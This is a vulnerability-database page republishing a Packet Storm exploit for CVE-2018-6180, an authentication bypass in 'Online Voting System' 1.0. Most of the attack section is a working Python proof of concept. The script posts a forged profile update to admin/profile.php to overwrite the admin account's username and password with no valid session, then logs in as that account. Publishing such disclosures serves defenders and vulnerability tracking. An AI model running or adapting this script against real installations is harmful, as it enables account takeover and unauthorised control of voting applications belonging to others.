Lucene search
K

Online Voting System Authentication Bypass

🗓️ 05 Feb 2018 00:00:00Reported by Giulio ComiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Online Voting System Authentication Bypass allows unauthenticated user to set arbitrary password for accounts without current valid password

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Online Voting System - Authentication Bypass Exploit
5 Feb 201800:00
zdt
CNVD
Online Voting System Authentication Bypass Vulnerability
9 Feb 201800:00
cnvd
CVE
CVE-2018-6180
8 Feb 201823:00
cve
Cvelist
CVE-2018-6180
8 Feb 201823:00
cvelist
Exploit DB
Online Voting System - Authentication Bypass
5 Feb 201800:00
exploitdb
exploitpack
Online Voting System - Authentication Bypass
5 Feb 201800:00
exploitpack
NVD
CVE-2018-6180
8 Feb 201823:29
nvd
OSV
CVE-2018-6180
8 Feb 201823:29
osv
Prion
Design/Logic Flaw
8 Feb 201823:29
prion
`# Exploit Title: Online Voting System - Authentication Bypass  
# Date: 02.02.2018  
# Vendor Homepage: http://themashabrand.com  
# Software Link: http://themashabrand.com/p/votin  
# Demo: http://localhost/Onlinevoting  
# Version: 1.0  
# Category: Webapps  
# Exploit Author: Giulio Comi  
# CVE : CVE-2018-6180  
  
  
#Description  
  
A flaw in the profile section of Online Voting System allows an unauthenticated user to set an arbitrary password for accounts registered in the application.  
  
The application does not check the validity of the session cookie and updates the password and other fields of a user based on an incremental identifier and without requiring the current valid password for target account.  
  
# Proof of Concept:  
  
#!/usr/bin/env python  
import requests  
from time import sleep  
from lxml import html  
  
  
def own(auth_bypass_request):  
"""  
Reset the password of a user just knowing his id  
"""  
url_edit_password = "admin/profile.php"  
  
payload = {  
'id': 1,  
'admin': 'admin', # overwrite the username of the victim  
'password': "ARBITRARY_PASSWORD", # overwrite the password of the victim  
'edit': ''  
}  
  
response = auth_bypass_request.post(target_site + url_edit_password, data=payload)  
  
# Parse response to check if the request was successful  
check_result = html.fromstring(response).xpath('//div[@class="alert alert-success"]//p//strong/text()')  
  
return(lambda: False, lambda: True)[str(check_result).find('Successfully') > -1]()  
  
  
def login(login_request):  
"""  
Enjoy the new password chosen for the victim  
"""  
credentials = {'username': 'admin',  
'password': "ARBITRARY_PASSWORD",  
'usertype': 'admin',  
'login': ''  
}  
  
response = login_request.post(target_site, data=credentials)  
  
print(response.text)  
  
  
if __name__ == "__main__":  
  
target_site = "http://localhost/Onlinevoting/"  
request = requests.Session()  
if own(request):  
sleep(4) # just a bit of delay  
login(request)  
else:  
print('Maybe the given id is not registered in the application')  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Feb 2018 00:00Current
9.2High risk
Vulners AI Score9.2
EPSS0.15375
30